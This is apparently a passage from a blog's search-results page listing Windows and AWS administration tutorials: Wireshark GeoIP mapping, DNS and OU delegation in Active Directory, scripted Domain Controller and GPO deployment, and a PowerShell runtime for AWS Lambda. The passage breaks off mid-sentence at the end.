top of page

82 results found with an empty search

  • Import Geo IP Data in to Wireshark

    Ever looked at a packet trace and wondered where all those network connections are coming from, or where they’re headed, without having to query each IP one by one? Wireshark has you covered. Whether from a live capture or an imported file (say, from a Zyxel firewall), it can generate a clean, visual map of the traffic, like the example below. This is the standard log output from a Zyxel, nothing exciting, honest. Ignore 192.168.0.247 attempting to establish a UDP port 500 Isakmp to somewhere not local to query time. Enable a packet capture from the Diagnostic section and capture, add at least the external facing port, wan1. Once the capture has run for a while, stop and then export the files to the local computer where Wireshark is installed. Sign up to MaxMind.com, it's free to download the GeoLite2 Geo Data. https://dev.maxmind.com/geoip/geolite2-free-geolocation-data?lang=en At the bottom of the 'Products' list select 'GeoLite2 Free Geolocation Data' or click the link below. https://www.maxmind.com/en/accounts/699472/geoip/downloads Download the 3 zip files, GeoLite2 ASN, GeoLite2 City and GeoLite2 Country. Unpack and more to a common directory. Open Wireshark, File, Open and select the Zyxel packet capture to import. To import the Geo-Location data, select 'Edit' then 'Preferences'. Select 'Name Resolution' and scroll to the bottom of the page. Select 'Edit' for MaxMind Database Directories. Set the location for the unpacked files. To view the map, select 'Statistics' then 'Endpoints'. Select IPv4 or a tab with a number. At the bottom of the page, select 'Map' and then 'Open in Browser'. That's it.... done

  • Delegation of DNS with PowerShell

    Introduction This post walks through how to use PowerShell to set up targeted delegation for DNS, creating the right AD groups with clear scopes and following Microsoft’s recommended naming conventions. DNS Delegation DNSAdmins is a default security group in Active Directory that delegates administrative control over the DNS Zones and some DNS servers settings to a specific user account or Group. Members of this group have permission to manage DNS zones and records and configure DNS server settings including Forwarders etc. However, it may not be desirable to delegate the entire DNSAdmin permission to a user via DNSAdmins and a more targeted approach of delegating zone management or creation could be necessary. The script ( here ), creates the required groups to delegate DNS Server management, the ability to create and delete zones and finally zone management. Group names will either be named DNSServer or DNSZone, where 'MicrosoftDNS' is used the group defines a top-level permission. Also, AD groups follow the suggested Microsoft naming convention of 'AT' or Action Task. Here are a few examples: AT_DNSServer_MicrosoftDNS_Manage is defined as the ability to change settings for the DNS Server eg create Forwarders or scavenging. AT_DNSZone_MicrosoftDNS_Manage is defined as the ability to create and delete Zones but not change any DNS Server settings. AT_DNSZone_Microsoft.com_Manage is defined as the ability to manage the Microsoft.com DNS Zone. Note: DNSAdmin group on its own does not have enough permissions and requires Server Operators, Administrators for the Domain or Domain Admin, basically local administrative rights over Domain Controllers. Setup The setup is pretty straightforward a virtual Domain Controller and Member Server. An OU for the delegated groups with a pre-existing group named AT_Server_User. This is to provide login via a user account to the Member Server with Remote Desktop User Rights Assignment and the delegated DNS group(s). Update the Member Server OU GPO with the following changes. Create 'Restricted Groups' for Administrators and add AT_Server_Admin. Create 'Restricted Groups' for Remote Desktop Users and add AT_Server_User. Add both Remote Desktop Users and AT_Server_User to the 'Allow log on through Remote Desktop Service' User Rights Assignment. Create a user account and add it to the AT_Server_User group. Deploy the DNS delegation script ( here ) with Domain Admin rights on the Domain Controller. After executing the script the delegation OU should be similar to the picture below with groups for both forward and reverse zones and 2 default MicrosoftDNS groups. DNS Server Delegation Members of AT_DNSServer_MicrosoftDNS_Manage are able to connect DNS and manage server settings but not create, delete or manage any existing zone. Due to the issue of requiring administrative rights on Domain Controllers, not all settings can be managed. Setting for interface options, DNSSec or Trustpoints requires further rights, most other DNS configuration options are available. All DNS Delegation groups require a minimum of READ to connect via the DNS snapin. DNS Server permissions can be found under System, MicrosoftDNS in dsa.msc DNS Zone Creation and Deletion To create and delete zones open adsiedit and type 'dc=domaindnszones,dc=fqdn'. Full control for AT_DNSZone_Manage is set against CN=MicrosoftDNS without inheritance. DNS Zone Management Finally, each zone is delegated to a named DNS zone group. use adsiedit, connect to the 'default naming context' to browse to each zone to interrogate permissions.

  • Deploy Domain Controllers with PowerShell and JSON (Part 2) - OU Structure and Delegation

    Welcome Back Welcome back to the continuation of our series on deploying Domain Controllers using PowerShell and JSON. If you've been following along with Part 1 , you should now have a newly configured Domain Controller with a delegated Organizational Unit (OU) structure in place. If you missed Part 1 of the series, you can access the necessary files by following the provided link or reference, ( here ). This blog will provide an in-depth explanation of the delegation model that has been delivered by PowerShell. It will also delve into the intricacies of the Organizational Unit (OU) structure, the arrangement of nested Groups and the various Roles assigned. Aim of the Game The objective is to establish an Organizational Unit (OU) structure that aligns with a clear and consistent delegation model. This approach incorporates well-defined naming standards to enhance comprehensibility and facilitate ease of navigation and management within the structure. AD Group Best Practice Group management will follow Microsoft's best practice of assigning Domain Local groups against the object, eg an OU or GPO. The Domain Local group is then added as a 'Member of' a Domain Global group. The user is added to Domain Global as a 'Member'. The naming convention I've persisted with over the years, again from Microsoft, is naming delegation groups 'Action Tasks', a task being an individual permission set. And 'Roles', a role being a collection of Tasks or individual permissions. AG is Action Task Global Group AL is Action Task Domain Local Group RG is a Role Global Group RL is a Role Domain Local Group Again, something that I've persisted with over the years is that Groups and OUs are named based on their Distinguished Name (DN). Let's break down an example of a group name: AG_RG_Member Servers_SCCM_Servers_ResGrpAdmin AG\AL\RG\RL - Action Task Global, AL for AT Domain Local, R for Role RG\OU\GPO - Restricted Group, OU or GPO - Type of object delegation Member Servers - The Top-Tier OU name SCCM - The Application or Service eg SCCM or Certificates Servers - It's for Computer objects ResGrpAdmin - ResGrpAdmin is a Restricted Group providing Admin privileges. ResGrpUser is a Restricted Group providing User privileges. CompMgmt, create\delete and modify Computer objects. UserMgmt, create\delete and modify User objects. GroupMgmt, create\delete and modify Group objects. GPOModify, edit GPO settings. SvcMgmt, create\delete and modify user objects. FullCtrl, full control over OU's and any child objects. JSON OU Configuration Traditionally, there are only 3 tiers, the lower the tier the less trustworthy: Zero = Domain Controllers and CA's One = Member Servers Two = Clients and Users Given that this script can potentially generate numerous levels or hierarchies, it seemed more suitable to avoid the term "tier" and instead opted to label the top-level OU's as "Organizations" for a more meaningful representation. The JSON configuration provided creates an OU structure based on a default OU structure for many businesses, where Orgainisation1 is for Member Servers and Orgainisation2 is for Clients and Users. In addition, Organisation0 provides Admin Resources OU for the management of all delegation, role and admin account provision. Organisation0 - Admin Resources Organisation0 , creates a top-level management OU named Admin Resources ' This OU serves as the central hub for all delegation and management groups across subsequent Organizations. Each Organization benefits from having its own dedicated management OU within the Admin Resources OU. Organisation specific delegation groups, roles, and admin accounts are created. This approach allows for potential future delegation. Admin Accounts Member Servers Admin Tasks Member Servers Admin Roles Member Servers "OU": { " Organisation0 ": { "Name":"Admin Resources", "Path":"Root", "Type":"Admin", "Protect":"false", "AdministrativeOU":"Administrative Resources", "AdministrativeResources": [ "AD Roles,Group", "AD Tasks,Group", "Admin Accounts,User" ] }, Organisation1 - Member Servers Organisation1 represents the typical Member Server OU and it's of the Type Server . The type Server designates a behavioural difference for assigning policy. AppResources designates application service OU's that will be created eg Exchange. Service Resources is used for creating OU's based on a set of standard administrative functions for example Servers and the delegation and object type of Computers. " Organisation1 ": { "Name":"Member Servers ", "Path":"Root", "Type":"Server", "Protect":"false", "AdministrativeOU":"Service Infrastructure", "AdministrativeResources": [ "AD Roles,Group", "AD Tasks,Group", "Admin Accounts,User" ], "AppResources":"Certificates,MOSS,SCCM,SCOM,File Server,Exchange", "ServiceResources": [ "Servers,Computer", "Application Groups,Group", "Service Accounts,SvcAccts", "URA,Group" ] }, Organisation2 - Client Services Organisation2 represents the typical User Services OU and it's of the Type 'Clients'. " Organisation2 ": { "Name":"User Services", "Path":"Root", "Type":"Clients", "Protect":"false", "AdministrativeOU":"Service Infrastructure", "AdministrativeResources": [ "AD Roles,Group", "AD Tasks,Group", "Admin Accounts,User" ], "AppResources":"Clients", "ServiceResources": [ "Workstations,Computer", "Groups,Group", "Accounts,User", "URA,Group" ] } } Hundreds and thousands It's possible to add further top-level OU's by duplicating an Organisation, then updating the Organisation(*) and Name values as they need to be unique. It's possible to add hundreds or even thousands of Organisations, with this possibility in mind, the management and delegation structure reflects this within the design. Levels of OU Delegation As we delve deeper into the structure of each organization, we encounter a hierarchy consisting of three levels of delegation, using Member Servers as an example: Organisation = Member Servers (Level 1) Application Service = Certificates (Level 2) Resources = Computer, Groups, Users and Service Accounts (Level 3) OU delegation controls the level of access to manage objects eg create a Computer or Group object. Level 1 Level 1 is the organisation level in this case it's the Member Server OU. It's delegated with AL_OU_Member Servers_FullCtrl . The group provides full control over the OU, sub-OU's and all objects within. The arrow serves as an indicator, denoting the point at which the group's application takes effect within the structure. Level 2 Level 2 is the Service Application level, in this case, Certificate services. AL_OU_Member Servers_Certificates_FullCtrl is applied a level below Member Servers and provides full control over itself and any subsequent objects. Level 3 At Level 3, the delegation involves the management of Service Applications resources, which includes items such as Server objects and service accounts. The 4 default OU's allow the delegation and management of their respective resource types, for example, the Application Groups OU permits the creation and deletion of Group objects via AL_OU_Member Servers_Certifcates_Applications Groups_GroupMgmt . Application Groups - Application specific Groups Servers - Server or Computer objects Service Accounts - Service Accounts for running the application services URA - User Rights Assignments for services that require LogonAsAService etc Restricted Groups and User Rights Assignment (URA) Levels In this delegated model, Restricted Groups facilitate access by allowing administrative access whilst User Rights Assignments (URA) allow admins or users to log on over Remote Desktop Protocol (RDP). There are two primary levels of organization. The first level encompasses the entire organization, including all subsequent Organizational Units (OUs). The second level consists of a dedicated Servers OU for each specific Service Application. Level 1 of Restricted Groups The GPO GPO_Member Server_RestrictedGroups is linked to the Member Servers OU and has the following groups assigned: URA: Allow log on through Terminal Services: AL_RG_Member Servers_ResGrpAdmin AL_RG_Member Servers_ResGrpUser Restricted Group: Administrators: AL_RG_Member Servers_ResGrpAdmin Remote Desktop Users: AL_RG_Member Servers_ResGrpUser This is how it looks when applied in GPO. Within this delegation model, the ability to manage Group Policy Object (GPO) settings is also delegated to ensure comprehensive control and management of the environment. via AL_GPO_Member Servers_GPOModify Group. Level 2 of Restricted Groups The GPO GPO_Member Server_Certificates_Servers_RestrictedGroups is linked to the sub-OU Servers under Certificates and has the following groups assigned, that of the Organisation and of the Service Application: URA: Allow log on through Terminal Services: AL_RG_Member Servers_ResGrpAdmin AL_RG_Member Servers_ResGrpUser AL_RG_Member Servers_Certifcates_ResGrpAdmin AL_RG_Member Servers_Certificates_ResGrpUser Restricted Group: Administrators: AL_RG_Member Servers_ResGrpAdmin AL_RG_Member Servers_Certifcates_ResGrpAdmin Remote Desktop Users: AL_RG_Member Servers_ResGrpUser AL_RG_Member Servers_Certificates_ResGrpUser This is how it looks when applied in GPO. As above Group Policy Object (GPO) settings are also delegated via AL_GPO_Member Servers_Certificates_Servers_GPOModify Bringing it all together with Roles In this demonstration, an account named 'CertAdmin01' has been specifically created to oversee the management of resources within the Certificates OU. The account is added to the role group RG_OU_Member Servers Certificates_AdminRole . Opening the RG_ group and then selecting the 'Members Of' tab displays the nested RL_ group. Drilling down into the RL_ group displays the individual delegated task groups. Delegated Admin To test the certificate Admin (CertAdmin01) deploy an additional server, adding to the domain and ensuring the computer object is in the Certificate Servers OU. Login as CertAdmin01 to the new member server and install the GPO Management and AD Tools. Browse to Member Server and then Certificates OU and complete the following tests: Right-click on Applications Group > New > Group Right-click on Servers > New > Computer Right-click on Service Accounts > New > User Right-click on URA > New > Group. Open Group Policy Management and Edit GPO_Member Servers_Certificates_Servers_RestrictedGroup. Open Compmgmt.msc and confirm that the Administrators group contains the 2 _ResGrpAdmin groups and the local Administrator. AL_RG_Member Servers_Certificates_Servers_ResGrpAdmin AL_RG_Member Servers_ResGrpAdmin Confirm that CertAdmin01 is unable to create or manage any object outside the delegated OU's. Nearly there.....SCM Policies and ADMX Files As part of the delivery and configuration of the OU structure, Microsoft's Security Compliance Manager (SCM) GPOs and a collection of Administrative (ADMX) templates are included. SCM GPOs: Microsoft's SCM offers a set of pre-configured GPOs that are designed to enhance the security and compliance of Windows systems. These GPOs contain security settings, audit policies, and other configurations that align with industry best practices and Microsoft's security recommendations. ADMX Templates: ADMX files, also known as Administrative Template files, extend functionality within Group Policy Management enabling settings for Microsoft and 3rd party applications. Within a Domain, ADMX files are copied to the PolicyDefinition directory within Sysvol. Zipped... Both SCM and ADMX files are zipped and will automatically be uncompressed during the OU deployment. However, if you would like to add your own policies and ADMX files you can. SCM Policy Placement The SCM policies are delivered in their default configuration, without any modifications or merging. The policies are placed directly into the designated target directory, imported and linked to their respective OU. For example, the Member Server directory content will be linked to any OU that is of type 'Server'. The SCM imported policies are prefixed with 'MSFT,' indicating that they are Microsoft-provided policies. There are a substantial number of these policies linked from the root of the domain down to client and server-specific policies. As far as delegation the SCM policies remain under the jurisdiction of the Domain Admin with control to effect change delegated to the _'RestrictedGroup' policies. Thank you for taking the time to read this blog. I hope you found the information valuable and that it has been helpful. Your support is greatly appreciated!

  • Deploy Domain Controllers with PowerShell and JSON (Part 1) - Domain Controllers

    Introduction In this post, we'll delve into the automated deployment of a Domain using PowerShell in tandem with a JSON configuration file. In my experience, while there are numerous Windows Server administration tasks suitable for automation, promoting Domain Controllers or deploying a new Forest is not typically among them. Automating Dcpromo can raise the risk of inadvertently exposing plain-text credentials in scripts, which is far from an ideal situation. Furthermore, such tasks are not frequently performed on a daily basis or repeated regularly in standard bau tasks. And now the Thousandath Time lets Lab a Domain Recently, I've been engaged in a fair amount of lab work, involving dismantling and rebuilding domains. One such lab involved using Cloudformation, AWS and deploying a domain via Desired State, pre-packaged code provided by AWS. After going through the experience, I couldn't help but feel that I could deploy a Microsoft Domain setup far more effectively than relying on AWS and so we're here and I've a new PowerShell project to keep me amused... enjoy. The First of Many This is the first instalment of a two-part blog series, Part 2 covers the OU structure and Delegation model. In this post, we'll delve into the automated deployment of a Domain using PowerShell in tandem with a JSON configuration file. This setup encompasses installing essential features such as DNS and AD and automatic logins via scheduled tasks. In the second blog, the focus will shift towards the deployment of Organizational Units (OUs) and Group Policy Objects (GPOs) with Restricted Groups, User Rights Assignments and implementing a comprehensive delegation model. The Requirements A standalone, not domain joined Windows 2022 with an active network is required, I'll be using a Hyper-V VM to host that VM. Testing has exclusively been carried out on Server 2022, the scripts should work with Server 2016 and 2019, it's important to note that I'm unable to provide any guarantees. Download all the files from GitHub ( here ) to the server, and save them to the Administrator Desktop, the 2 zip files will unpack automatically via the script. The Important Stuff Update DCPromo.json, the hostname of the server must match the "PDCName" value. "FirstDC": { "PDCName":"DC01", "PDCRole":"true", "IPAddress":"10.0.0.1", "Subnet":"255.255.255.0", Either update the passwords in the JSON file or update "PromptPw":"false" to "true" . Once set to true the script will prompt for the password to be entered interactively. Regardless, the password is set in clear text into the Registry to allow autologin and later removed during the OU configuration. "DRSM":"Password1234", "DomAcct":"Administrator", "DomPwd":"Password1234", "PromptPw":"false" Any subsequent Domain Controllers can be added, remember that the hostname is the key and the value referenced during deployment. { "DCName":"DC02", "PDCRole":"false", "IPAddress":"10.0.0.2", "Subnet":"255.255.255.0", "DefaultGate way":"10.0.0.254", "SiteName":"Default-First-Site-Name", "DRSM":"Password1234" }, Elevate PowerShell or ISE to execute DCPromo.ps1. Installation of Roles and DCPROMO As long as the above criteria are met, Windows Server will install AD-Domain-Services and DNS Windows Features, set the IP and DCPromo the server to become the first DC in the Forest and the PDC Emulator. Auto-Restart The newly promoted DC will auto-restart twice, this is required to correctly pass domain credentials to execute CreateOU.ps1 the final script. Part 2 - GPO's, OUs and Delegation https://www.tenaka.net/post/deploy-domain-with-powershell-and-json-part-2-ou-delegation

  • PowerShell's Custom Runtime for AWS Lambda's - Importing Modules

    Welcome to the second part of the installation and configuration process for the AWS Custom Runtime for PowerShell Recap In the first part, we covered the installation process of AWS's Custom Runtime for PowerShell, which involved deploying Windows Subsystem for Linux (WSL) and initializing the Runtime and deploying the Demo Lambda Function. Here's the link, with instructions on how to install WSL and deploy the Custom Runtime. https://www.tenaka.net/post/wsl2-ps-custom-runtime-deployment What's in Part 2 The first part left on a bit of a cliffhanger, functionally, the Custom Runtime for PowerShell worked, but without additional modules, there's very little that could be accomplished. The subsequent steps entail the creation of Lambda layers that incorporate additional modules, which will be utilized in Lambda Functions to finalize the end-to-end deployment process. Copy and Paste Upon completing this process, the objective is to successfully deploy a Lambda Function equipped with a layer containing both the AWS.Tools.Common and AWS.Tools.EC2 PowerShell modules. This will enable the ability to start and stop an EC2 instance within the AWS environment. Continuing where we previously left off, we are going to utilise the work that has already been completed by AWS, by amending an existing example. Before we start, only 5 layers can be added to a Lambda Function, but a layer can contain multiple modules. Change the directory into the AWSToolsforPowerShell directory. cd /Downloads/aws-sam/powershell-modules/AWSToolsforPowerShell Copy the existing S3EventBridge directory. cp AWS.Tools.S3EventBridge AWS.Tools.EC2 -r cd AWS.Tools.EC2 Amendments The 3 files that will require amending to successfully publish additional modules as layers are: build-AWSToolsLayer.ps1 template.yml /buildlayer/make The process is straightforward, find and replace all references to the current module functionality with the new module functionality. Although updating build-AWSToolsLayer.ps1 is not strictly essential since we'll be relying on the Make command, taking a few seconds to do so ensures consistency among all the files involved. nano build-AWSToolsLayer.ps1 Ctrl + o to save (output the file) Ctrl _ x to exit nano Add additional lines for modules that are to be extracted from aws.tools.zip. Note: It is crucial to ensure the correct ordering of modules, with AWS.Tools.Common listed before the module for EC2. The EC2 module relies on the functionality provided by AWS.Tools.Common. In the original S3EventBridge version of template.yml AWSTools.EC2 read S3EventBridge. Ensure !Ref values are updated from AWSToolsS3EventBridgeLayer to AWSToolsEC2Layer, this value is passed between files and needs to be consistent. Save and exit template.yml. cd buildlayer nano Make The first line references !Ref and it must be consistent with the value set in template.yml. Modify the unzip commands to accommodate any supplementary modules. Save and exit Make. Build and Deploy After each amendment to the configuration files, the content must be redeployed in order to reflect the changes made: sam build To publish to AWS run the following: sam deploy -g Layers and a Lambda Login to AWS Lambda and confirm the new layer has been created. Let us bring the entire Custom Runtime endeavour to fruition, by creating a new Lambda Function designed to initiate the start of an EC2 Instance, by clicking Create Function. Name the function and select the Amazon Linux 2 Runtime. Ensure the Architecture is set to x86_64. 'Create a new role with basic Lambda permissions' is also selected. Create Function Within the Function Overview click on Layers, then Add Layers. Select Custom Layers and then add in order: PwshRuntimeLayer AWSToolsEC2Layer PwshRuntimeLayer is listed first, followed by any modules. Click Configuration and Edit Update memory to 512Mb and timeout to 1 minute. Before saving the configuration updates, open the IAM link in another browser tab to grant the function the additional permissions required for execution. Within IAM, add AmazonEC2FullAccess and AWSLambdaExecute to the Role. Navigate back to Lambda and then select Code. Update the Runtime Settings Handler information to reflect the name of the PowerShell script followed by "::handler". In this example, the handler will be "Start-Ec2.ps1::handler" Navigate back to Code and delete all the default files. Right-click on the folder and New File, rename to "Start-Ec2.ps1". Copy and paste the provided script, and make sure to modify the Reservation ID with the ID of your own EC2 instance. Start-EC2.ps1 #$VerbosePreference = "continue" #$VerbosePreference = "SilentlyContinue" Write-Verbose "Run script init tasks before handler" Write-Verbose "Importing Modules" Import-Module "AWS.Tools.Common" Import-Module "AWS.Tools.EC2" function handler { [CmdletBinding()] param( [parameter()] $lambdaInput, [parameter()] $lambdaContext ) Get-EC2Instance | where {$_.ReservationId -eq "r-06856f1f55c199e49"} | Start-EC2Instance } Deploy the changes. Click Test Complete the Configure Test Event by providing an Event Name. Navigate to the Test tag and click Test to execute the Lambda Function. I'm hoping this guide provides a starting point for further modules and functionality, especially those that come from a native Microsoft background. I wish to thank everyone for their time and any feedback would be gratefully received.

  • PowerShell's Custom Runtime for AWS Lambda's - Installation

    Introduction This walkthrough covers how to set up and deploy an AWS Lambda Custom Runtime for PowerShell from within Windows Subsystem for Linux 2 (WSL2). We’ll go through the environment setup, packaging, and deployment process so you can build and run PowerShell-based Lambda functions without needing a full Linux host. PowerShell custom runtime for AWS Lambda is an addition to the AWS Lambda services, offering developers and Microsoft engineers the ability to leverage PowerShell within the serverless environment. Unlike the standard runtimes supported by AWS Lambda, which include languages like Python, Node.js, and Java, the PowerShell custom runtime, developers can now build and deploy Lambda functions using their existing PowerShell skills. It allows for the integration of PowerShell's vast library of cmdlets and modules, enabling developers to leverage a wide range of pre-built functions and automation tasks. PowerShell's object-oriented scripting approach also provides a means for manipulating and managing AWS resources, making interacting with other AWS services like Amazon S3, Amazon DynamoDB, and AWS CloudFormation easier. Additionally, it's now possible to edit the PowerShell script directly within the published Lambda, which was not previously possible. The Truth of the Matter The issue, it's PowerShell, any real DevOps will be using anything but PowerShell as it's a scripting language, so there's limited support for PowerShell on AWS. However, if you're a Microsoft engineer who needs to manage the Windows Infrastructure on AWS then PowerShell will be your go to scripting language for Lambda functions. The PowerShell custom runtime setup provides 3 options for deployment, Linux or WSL, native PowerShell and Docker. The native PowerShell deployment doesn't work, at least I couldn't get it working and others have faced similar issues, with no resolution provided. The good news is that Windows Subsystem for Linux (WSL) deployment does successfully deploy and execute and this is what I'll be using. Requirements WSL 2 requires the Hyper-V Hypervisor, this rules out any AWS EC2 instance, Hyper-V isn't supported. A Windows 2022 or Windows 11 with the latest patches installed is required. I've Windows 11 installed on a Zenbook Space Edition laptop with the Hyper-V feature installed and virtualization enabled in the system's BIOS or UEFI. WSL 2 isn't directly installed on the laptop, it can be, I prefer keeping my clients free of clutter and instead opted for a Windows Server 2022 Hyper-V vm. Any issues the vm will be rolled back or redeployed. Now deploy a Gen2 Windows Server 2022 Hyper-V image named, ensure the latest Windows updates are applied. AWS Configuration An account named 'svc_lambda' has been created with Administrative access in IAM. The excessive rights are for ease of deployment, the permissions will be adjusted to those needed later. The account's Access and Secret have been exported for use during the creation of the PowerShell Runtime Lambda. Installation of Windows Subsystem for Linux version 2 WSL version 2 was not supported by Server 2022 or Windows 11 at release. Install the latest Windows patches to enable WSL2 support. I may have mentioned this a few times now. Power off the VM and from the host open an elevated Powershell session. Then type the following command to enable nested hypervisor. AWS-Mgmt01 is vm's name in the Hyper-V console and not its hostname. Set-VMProcessor -VMName AWS-Mgmt01 -ExposeVirtualizationExtensions $true Power on, AWS-Mgmt01, login and elevate a PowerShell session and execute the following command. This will install all components and features required. If the command fails to be recognised, then Windows updates aren't applied or the experience I had, they failed to install correctly. wsl --install Restart AWS-Mgmt01, log in and WSL should auto launch, if not run wsl --install from PowerShell. Type in a username and password at the prompt. Installation confirmation will show that the latest version of Ubuntu and WSL 2 are configured. In the Linux shell execute the following commands to update and install all required dependencies. sudo apt update -y && sudo apt upgrade -y sudo apt install glibc-source groff less unzip make -y AWS Serverless Application Model Installation AWS SAM (Serverless Application Model) is a framework provided by AWS that simplifies the development, deployment, and management of serverless applications. It extends the capabilities of AWS CloudFormation, allowing developers to define serverless application resources using a simplified YAML syntax and is next to install. Type pwd and it will return '/home/user'. Type: mkdir Downloads to create a working directory and cd into the directory. Download the SAM client for Linux, unzip and Install. wget https://github.com/aws/aws-sam-cli/releases/latest/download/aws-sam-cli-linux-x86_64.zip unzip aws-sam-cli-linux-x86_64.zip -d sam-installation sudo ./sam-installation/install Confirm version and successful installation. /usr/local/bin/sam --version Download the AWS Client for Linux, unzip and Install wget "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" unzip awscli-exe-linux-x86_64.zip sudo ./aws/install Confirm version and successful installation. /usr/local/bin/aws --version Download the AWS Lambda PowerShell Runtime. git clone https://github.com/awslabs/aws-lambda-powershell-runtime mv aws-lambda-powershell-runtime/ aws-sam cd aws-sam/examples/demo-runtime-layer-function Export the access and secret keys for the Lambda service account via AIM. Configure access for the Lambda-Svc user. aws configure AWS Access Key ID [None]: AKIA5IZEOZXQ4XXXXX AWS Secret Access Key [None]: 2O8hYlEtAzyw/KFLc4fGRXXXXXXXXXX Default region name [None]: us-east-2 Default output format [None]: Build the custom runtime . sam build --parallel Deploy Custom Runtime to AWS. sam deploy -g Stack Name [sam-app]: PowerShellLambdaRuntime AWS Region [us-east-2]: us-east-2 Confirm changes before deploy [y/N]: n Allow SAM CLI IAM role creation [Y/n]: y Disable rollback [y/N]: n Save arguments to configuration file [Y/n]: n The deployment will take a few minutes as it creates CloudFormation, an S3 bucket and finally the Lambda. Testing the Runtime Lambda Function From the AWS console, open Lambda and browse to Functions to confirm the successful deployment of the PowerShell Runtime Demo. It's at this point when native PowerShell is used, the whole runtime falls apart and fails to execute. Click on Test after reviewing the PowerShell code. This is a first not only can it be viewed, it's editable. Add an Event Name and Save. Click on Test and review the details. The Runtime is installed, but not much else..... This is just the beginning and a bit of a problem if you thought that it was a simple matter of creating new Lambda's and applying PwsRuntimeLayer. I'm the bearer of bad news, let me explain. Two layers were created for the demo, the DemoAWSToolsLayer and PwshRuntimeLayer. For PowerShell, the correct modules need importing and these are supplied in the Lambda layers. In this case, it's the DemoAWSToolsLayer that loads the required module for the Lambda demo. And in the Demo's case, it's only the AWS.Tools.Common module needed by the function to the Get-AWSRegion. Consequently, additional layers containing the necessary modules for the function are required. For instance, to create a Lambda function to stop an EC2 instance, both the AWS.Tools.Common and AWS.Tools.EC2 modules are needed. We will delve into this in the next blog ( here ). Links: https://aws.amazon.com/blogs/compute/introducing-the-powershell-custom-runtime-for-aws-lambda/ https://aws.amazon.com/blogs/compute/extending-powershell-on-aws-lambda-with-other-services/ https://www.youtube.com/live/FAU0V_SM9eE?feature=share

  • How to Create GPOs with Restricted Groups using PowerShell.

    If you have ever tried 'PowerShell'ing' Group Policies, you know that support from Microsoft is sub-optimal, meaning that there is no support, of course, to fill this gap there are paid 3rd party offerings. The Task at Hand: A new 'Member Server' OU and various sub-OU's are needed, as well as their corresponding Group Policies, AD Groups and Restricted Groups. This feels like the millionth time I've manually accomplished this task and it's fairly repetitive and time consuming, alternatively, I can crack open PowerShell. The mantra is 'Why point and click when there's PowerShell' so let's get creative. Components of a Domain GPO: A Group Policy Object (GPO) is made up of various file types, strangely enough, the same as local GPO's configured via GPEdit.msc. Having scripted SecEdit, updating both User Rights AssignmenPats (URA) and Services previously the 'ask' should be straightforward. Basic file layout of a Domain GPO: C:\Windows\SYSVOL\domain\Policies\{GUID}\ Machine\Registry.pol User\Registry.pol Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf Machine\Microsoft\Windows NT\Audit\Audit.csv GPO security settings are written to GptTmpl.inf, an example of a GptTmpl.inf with Restricted Groups and User Rights Assignments from an SCCM installation including a SQL Member Server. The above looks a little confusing and here's a quick breakdown to help: *S-1-5-21-4000739697-4006183653-2191022337-1143 The SID of a Service Account [Group Membership] *S-1-5-32-544__Memberof = *S-1-5-32-544__Members = *S-1-5-21-4000739697-4006183653-2191022337-1143 *S-1-5-32-544 = Builtin\Administrators Group *S-1-5-32-573__Memberof = *S-1-5-32-573__Members = *S-1-5-21-4000739697-4006183653-2191022337-1171 *S-1-5-32-573 = Builtin\Event Log Readers *S-1-5-32-559__Memberof = *S-1-5-32-559__Members = *S-1-5-21-4000739697-4006183653-2191022337-1171 *S-1-5-32-559 = Builtin\Performance Log Users [Privilege Rights] SeServiceLogonRight = *S-1-5-21-4000739697-4006183653-2191022337-1170 SeServiceLogonRight = Log on as a service SeInteractiveLogonRight = *S-1-5-21-4000739697-4006183653-2191022337-1169 SeInteractiveLogonRight = Allow log on locally SeBatchLogonRight = *S-1-5-21-4000739697-4006183653-2191022337-1187 SeBatchLogonRight = Log on as Batch Overview of script actions: Execute the script directly on the Domain Controller with the PDC role. The script will create a 'Resources' OU off the root of the Domain, then sub-ou's 'Member Servers' and 'Restricted Groups'. For each application service eg Exchange, SharePoint etc, an additional OU is then created with corresponding AD groups for both Administrator and Remote Desktop User Groups. Finally, GPOs are created for each OU and the AD Groups SID are assigned to both the Restricted Groups and Remote Interactive User Rights Assignment. The script: https://github.com/Tenaka/GPOs Script Breakdown: The following are extracts from the script that is accessible from Github. Resolve the Domain Naming Context. $rootDSE = (Get-ADRootDSE).rootDomainNamingContext Resolve the path to Sysvol, just in case it was moved during Domain Controler installation. $smbSysvol = ((Get-SmbShare -name "sysvol").path).replace("SYSVOL\sysvol","sysvol") Set 'Resource' OU as a root for all subsequent OU's for member servers etc. $resRoot = "Resources" Stitch or join the Root DN and variables to create OU Distinguished Names. $resourceOU = "OU=$($resRoot),$($rootDSE)" $memSrvOU = "OU=$($memSrvRoot),OU=$($resRoot),$($rootDSE)" $ResGroupOU = "OU=$($ResGroupRoot),OU=$($resRoot),$($rootDSE)" Create an OU called 'Resources' as a top-level OU. New-ADOrganizationalUnit -Name $resRoot #-ProtectedFromAccidentalDeletion $false Create a variable based on the OU name for creating an AD group name. $rgRtAdminGp = "RG_$($MemSrvRoot)_Admin" Create a new Domain Global group based on the OU name for Admin and Remote user groups. Groups are created in the 'Restricted Groups' OU. New-ADGroup -Name $rgRtAdminGp –groupscope Global -Path $ResGroupOU -Description $rgRtAdminDescrip Get the SID of the new Group. $getRtRGAdminSid = $getRtRGAdmin.SID.Value Declare the variable for creating an OU. $GPOName = "GPO_$($MemSrvRoot)_RestrictedGroup" Create a new OU based on the variable and link to OU. New-GPO -Name $GPOName | New-GPLink -Target $getOUMS.DistinguishedName Set delegation permission on the OU so the AD group can edit their own policy. Set-GPPermission -Guid $getGpoId -PermissionLevel GpoEditDeleteModifySecurity -TargetType Group -TargetName $rgAdminGp Declared the path to the GPO directory. $sysvol = "$($smbSysvol)\domain\Policies\{$($getGpoId)}\Machine\Microsoft\Windows NT\SecEdit" Create a directory and GptTmpl.inf file. New-Item -Path $sysvol -ItemType Directory -Force New-Item -Path $sysvol -Name GptTmpl.inf -ItemType File -Force Declare variables based on the Group SIDs for Admin and Remote Groups. $addConAdmin = "*S-1-5-32-544__Members = *$($getRtRGAdminSid)" $addConRDP = "*S-1-5-32-555__Members = *$($getRtRGRDPSid)" $addConURARemote = "SeRemoteInteractiveLogonRight = *$($getRtRGAdminSid),*$($getRtRGRDPSid)" Update GptTmpl.inf. Add-Content -Path $gptFile -Value '[Group Membership]' Add-Content -Path $gptFile -Value '*S-1-5-32-544__Memberof =' Add-Content -Path $gptFile -Value $addConAdmin Add-Content -Path $gptFile -Value $addConURARemote Write the 